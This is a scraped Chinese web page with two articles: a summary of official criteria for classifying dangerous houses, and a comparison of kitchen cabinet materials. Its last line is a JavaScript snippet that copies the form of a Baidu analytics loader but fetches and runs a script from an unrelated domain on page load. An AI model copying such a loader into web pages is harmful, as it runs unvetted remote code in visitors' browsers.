危房鉴定标准介绍

随着社会的不断发展和前进，人们越来越注重建筑物的质量。目前，随着时间推移越来越多的建筑物都已经沦为了危险房屋，也就是人们常说的危房。那么，怎么样才能算的上是危房呢?那么接下来的文章小编就为大家讲述一下什么样的标准才算是危房。希望大家通过对本文的阅读，对什么是危房有一个简单地了解。由于危房的划分等级比较多，下文就为大家做一个片段的讲述。危房顾名思义就是存在危险不能居住的房子，据《城市危险房屋管理规定》，危险房屋是指结构已严重损坏或或承重构件已属危险构件，随时有倒塌可能，丧失结构稳定和承载能力，不能保证居住和使用安全的房屋。这样的房子一般需要经过相关部门的鉴定认准。根据危房鉴定标准认定，危房可以分为不同等级。危房鉴定1、危房需由鉴定单位提出全面分析、综合判断的依据，报请市一级的房地产管理部门或其授权单位审定。危房鉴定2、对危房，应按危险程度、影响范围，根据具体条件，分别轻、重、缓、急，安排修建计划。危房鉴定3、对危险点，应结合正常维修，及时排除险情。危房鉴定4、对危房和危险点，在查清、确认后，均应采取有效措施，确保住用安全。危房鉴定标准危房鉴定1、为确保住用安全，对危险房屋的鉴定有所依据，特制定本标准。危房鉴定2、本标准适用于房地产管理部门经营管理的房屋。对单位自有和私有房屋的鉴定，可参考本标准。本标准不适用于工业建筑、公共建筑、高层建筑及文物保护建筑。危房鉴定3、本标准提及的构件，是指承重构件;提及的结构，是指由承重构件组成的体系。危房鉴定4、对难以鉴定的重要房屋或复杂结构，应进行必要的测试和验算。危房鉴定5、构成危险房屋的因素各地有较大差异时，各地房地产管理部门在执行本标准时，可以制定实施细则或补充规定。危险构件危险构件是指构件已经达到其承载能力的极限状态，并不适于继续承载的变形。构件单位危房鉴定1、基础(a)独立柱基以一根柱的单个基础为单位;(b)条形基础以一个自然间的单面长度为单位;(c)满堂红基础以一个自然间的面积为单位。2、墙以一层高、一个自然间的一面为单位;3、柱以一层高、一根为单位;4、梁、搁栅、檩条等以一个跨度、一根为单位。5、预制板以块、捣制板以一个自然间的面积为单位;6、屋架以一榀为单位。地基、基础危房鉴定1、地基因滑移，或因承载力严重不足，或因其他特殊地质原因，导致不均匀沉降引起结构明显倾斜、位移、裂缝、扭曲等，并有继续发展的趋势。危房鉴定2、地基因毗邻建筑增大荷载，或因自身局部加层增大荷载，或因其他人为因素，导致不均匀沉降，引起结构明显倾斜、位移、裂缝、扭曲等，并有继续发展的趋势。危房鉴定3、基础老化、腐蚀、酥碎、折断，导致结构明显倾斜、位移、裂缝、扭曲等。钢筋混凝土结构构件危房鉴定1、柱、墙(a)柱产生裂缝，保护层部分剥落，主筋外露;或一侧产生明显的水平裂缝，另一侧混凝土被压碎，主筋外露;或产生明显的交叉裂缝。(b)墙中间部位产生明显的交叉裂缝，或伴有保护层剥落。(c)柱、墙产生倾斜，其倾斜量超过高度的1/100。(d)柱、墙混凝土酥裂、碳化、起鼓，其破坏面超过全面积的1/3，且主筋外露，锈蚀严重，截面减少。好了，以上就是小编为大家讲述的有关于危房评判标准的简述，相信大家通过对本文的阅读，已经对什么是危房以及危房的评判标准有一个简单地了解了吧?小编只是为大家讲述的是一小部分内容，由于危房的评判标准有很多，而且还有许多的专业名词，所以如果小编在这里给大家讲述的话，大家还是难以理解的呢。所以大家如果在生活中有这方面的问题的话，不妨问去当地住建部门。

自建厨房橱柜选择正确的橱柜材质很重要

除了找装修公司进行装修之外，不少业主喜欢亲自对自己的住宅进行装修。那么，自建厨房橱柜就是业主们需要关心的地方了。当业主自建厨房橱柜时，在选择橱柜的材质上也要进行考量的。自建厨房橱柜时，有实木橱柜、红砖橱柜、生态板橱柜、不锈钢橱柜……橱柜材质分类多种，侧重点也不相同。具有防火功能的橱柜，是使用防火板做成的，这种材质的橱柜相比其他材质防火性能强，但其还是能够燃烧，只是相较其他更为安全。这种材质的橱柜，做柜体是一个很好的选择。选择这种带有防火性的板材时，与质量、安全相关，尽量选择靠谱的大品牌产品。生态板制作的家居，防潮、防火性能平平，胜在环保。喜欢木质家居的可以选择生态板做橱柜。砖砌橱柜，顾名思义，就是用砖头砌的橱柜，这种橱柜价格低，既能防火又能防潮，也兼具环保的特性。砖砌橱柜，使用年限也长。只是这种橱柜的柜门可不能使用同等材质。选择木材、合金或者是玻璃制作柜门都是可以的，橱柜的台面使用光滑的石材。自建厨房橱柜选择不锈钢这种材质，可以说让人又爱又恨了，砖砌橱柜的优点它全都有而且方便清理，但是不锈钢做自建厨房橱柜价格高，还要思考如何让不锈钢装饰效果和整体协调一致。业主在自建厨房橱柜时，选择性很多，根据个人喜好或整体风格决定自建厨房橱柜材质。考虑性价比选择砖砌橱柜，喜好木制品选择生态板橱柜、防火板橱柜，追求生活品质和质感的选择实木橱柜、不锈钢橱柜。厨房经常用火，使用燃气灶的业主考虑安全问题谨慎选择实木橱柜，选用具有防火材质的橱柜更好。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();